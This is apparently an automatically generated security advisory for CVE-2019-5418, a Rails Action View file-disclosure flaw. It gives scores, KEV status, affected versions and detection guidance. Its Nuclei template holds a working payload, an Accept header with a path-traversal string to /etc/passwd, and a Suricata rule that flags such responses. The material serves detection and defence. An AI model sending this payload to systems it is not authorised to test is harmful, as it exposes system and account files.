VULNpocalypse

CVE-2019-5418: Rails Ruby on Rails Path Traversal Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

There is a File Content Disclosure vulnerability in Action View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 where specially crafted accept headers can cause contents of arbitrary files on the target system’s filesystem to be exposed.

Description quoted from the CVE record (assigned by hackerone, published 2019-03-27).

Weakness: Path Traversal (CWE-22)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.

On CISA KEV since
2025-07-07
US federal deadline
2025-07-28
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2019-01506, CNNVD-201903-826, CNVD-2019-07446, EDB-46585, EUVD-2019-0375, GHSA-86g5-2wh3-gc9j, GHSA-m63j-wh5w-c252, SNYK-RUBY-ACTIONVIEW-173784, SNYK-SLES152-RMTSERVERCONFIG-2698154

VEDAS cluster: VEDAS:AMULETALBATROSS

Exploit Observer links 19 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (19)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (17)

Catalogue entries, not exploit evidence.

145 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.985
very likely to be attacked soon
VEDAS
0.990
strong exploit evidence
On CISA KEV
Yes, since 2025-07-07
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2025-07-07CVE-2019-5418 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2025-07-07CVE-2019-5418 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

ProductAffectedNot affected
Rails https://github.com/rails/railsversion 5.2.2.1
version 5.1.6.2
version 5.0.7.2
version 4.2.11.1		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: rails_core_team ruby_on_rails, rubyonrails rails.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Rails - Path Traversal

There is a File Content Disclosure vulnerability in Action View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 where specially crafted accept headers can cause contents of arbitrary files on the target system’s filesystem to be exposed.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /); it decides using regex, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2019-5418.yaml
Show the template (40 lines)
yaml
id: CVE-2019-5418

info:
  name: "Rails - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    There is a File Content Disclosure vulnerability in Action View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3
    where specially crafted accept headers can cause contents of arbitrary files on the target system's filesystem
    to be exposed.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2019-5418&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=rails&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-5418
    cwe-id: CWE-22,NVD-CWE-noinfo
  metadata:
    verified: false
  tags: cve,cve2019,rails,lfi,disclosure,edb,rubyonrails,kev,vkev,vuln
http:
  - method: GET
    path:
      - "{{BaseURL}}"

    headers:
      Accept: ../../../../../../../../etc/passwd{{

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
          - 500

CVE-2019-5418.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2019-5418 Rails - Path Traversal. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2019-5418 Rails - Path Traversal"; flow:established,to_client; file.data; content:"root:"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2019-5418; reference:url,https://www.exploit.observer/?keyword=CVE-2019-5418&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=rails&match=exact; sid:1011242; rev:1;)

CVE-2019-5418.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

  • 46585 (exploit, x_refsource_EXPLOIT-DB)

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.